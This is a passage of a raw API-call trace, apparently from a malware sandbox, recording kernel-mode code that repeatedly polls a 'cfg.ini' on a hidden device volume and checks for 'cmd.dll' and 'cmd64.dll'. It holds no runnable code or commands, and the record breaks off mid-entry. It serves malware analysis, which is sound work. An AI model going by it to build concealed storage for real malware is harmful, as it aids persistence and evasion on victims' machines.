_snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.739] KeEnterCriticalRegion () [0130.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.739] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.739] IdePortDispatch () returned 0x103 [0130.739] KeWaitForMutexObject () returned 0x0 [0130.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.739] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.739] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.739] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.739] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.740] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ec10 [0130.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.740] KeLeaveCriticalRegion () [0130.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.740] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.740] KeEnterCriticalRegion () [0130.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.740] KeLeaveCriticalRegion () [0130.740] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.740] KeEnterCriticalRegion () [0130.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.740] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.740] IdePortDispatch () returned 0x103 [0130.740] KeWaitForMutexObject () returned 0x0 [0130.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.740] KeLeaveCriticalRegion () [0130.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.740] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.741] KeEnterCriticalRegion () [0130.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ae000 [0130.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.741] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.741] IdePortDispatch () returned 0x103 [0130.741] KeWaitForMutexObject () returned 0x0 [0130.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.741] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.741] IdePortDispatch () returned 0x103 [0130.741] KeWaitForMutexObject () returned 0x0 [0130.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.741] KeLeaveCriticalRegion () [0130.741] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.742] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.742] KeEnterCriticalRegion () [0130.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.742] KeLeaveCriticalRegion () [0130.742] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.742] KeEnterCriticalRegion () [0130.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.742] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.742] KeLeaveCriticalRegion () [0130.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.742] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.742] KeEnterCriticalRegion () [0130.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.743] ExFreePoolWithTag (P=0xfffffa800294ec10, Tag=0x0) [0130.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.743] KeLeaveCriticalRegion () [0130.743] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.743] ReleaseMutex (hMutex=0xf0) returned 1 [0130.743] Sleep (dwMilliseconds=0x124f80) [0130.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.767] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.767] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.767] KeEnterCriticalRegion () [0130.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.767] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.767] IdePortDispatch () returned 0x103 [0130.767] KeWaitForMutexObject () returned 0x0 [0130.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.767] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.767] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.768] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.768] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.768] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.768] KeLeaveCriticalRegion () [0130.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.768] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.768] KeEnterCriticalRegion () [0130.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.768] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.768] KeLeaveCriticalRegion () [0130.768] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.768] KeEnterCriticalRegion () [0130.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.768] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.768] IdePortDispatch () returned 0x103 [0130.768] KeWaitForMutexObject () returned 0x0 [0130.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.768] KeLeaveCriticalRegion () [0130.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.769] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.769] KeEnterCriticalRegion () [0130.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b7000 [0130.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.769] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.769] IdePortDispatch () returned 0x103 [0130.769] KeWaitForMutexObject () returned 0x0 [0130.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.769] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.769] IdePortDispatch () returned 0x103 [0130.769] KeWaitForMutexObject () returned 0x0 [0130.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.769] KeLeaveCriticalRegion () [0130.769] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.770] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.770] KeEnterCriticalRegion () [0130.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.770] KeLeaveCriticalRegion () [0130.770] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.770] KeEnterCriticalRegion () [0130.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.770] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.770] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.770] KeLeaveCriticalRegion () [0130.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.770] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.771] KeEnterCriticalRegion () [0130.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.771] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.771] KeLeaveCriticalRegion () [0130.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.771] ReleaseMutex (hMutex=0xf0) returned 1 [0130.771] Sleep (dwMilliseconds=0x124f80) [0130.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.792] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.792] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.793] KeEnterCriticalRegion () [0130.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.793] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.793] IdePortDispatch () returned 0x103 [0130.793] KeWaitForMutexObject () returned 0x0 [0130.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.793] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.793] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.793] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.793] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.793] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294eec0 [0130.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.793] KeLeaveCriticalRegion () [0130.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.793] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.793] KeEnterCriticalRegion () [0130.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.793] KeLeaveCriticalRegion () [0130.793] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.794] KeEnterCriticalRegion () [0130.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.794] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.794] IdePortDispatch () returned 0x103 [0130.794] KeWaitForMutexObject () returned 0x0 [0130.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.794] KeLeaveCriticalRegion () [0130.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.794] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.794] KeEnterCriticalRegion () [0130.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.794] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bc000 [0130.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.794] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.794] IdePortDispatch () returned 0x103 [0130.794] KeWaitForMutexObject () returned 0x0 [0130.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.795] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.795] IdePortDispatch () returned 0x103 [0130.795] KeWaitForMutexObject () returned 0x0 [0130.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.795] KeLeaveCriticalRegion () [0130.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.796] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.796] KeEnterCriticalRegion () [0130.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.796] KeLeaveCriticalRegion () [0130.796] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.796] KeEnterCriticalRegion () [0130.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.796] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.796] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294e770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.796] KeLeaveCriticalRegion () [0130.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.796] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.796] KeEnterCriticalRegion () [0130.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.796] ExFreePoolWithTag (P=0xfffffa800294eec0, Tag=0x0) [0130.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.796] KeLeaveCriticalRegion () [0130.796] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.796] ReleaseMutex (hMutex=0xf0) returned 1 [0130.796] Sleep (dwMilliseconds=0x124f80) [0130.814] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.814] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.815] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.815] KeEnterCriticalRegion () [0130.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.815] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.815] IdePortDispatch () returned 0x103 [0130.815] KeWaitForMutexObject () returned 0x0 [0130.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.815] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.815] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.815] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.815] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.815] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ec10 [0130.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.815] KeLeaveCriticalRegion () [0130.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.815] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.815] KeEnterCriticalRegion () [0130.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.815] KeLeaveCriticalRegion () [0130.815] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.815] KeEnterCriticalRegion () [0130.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 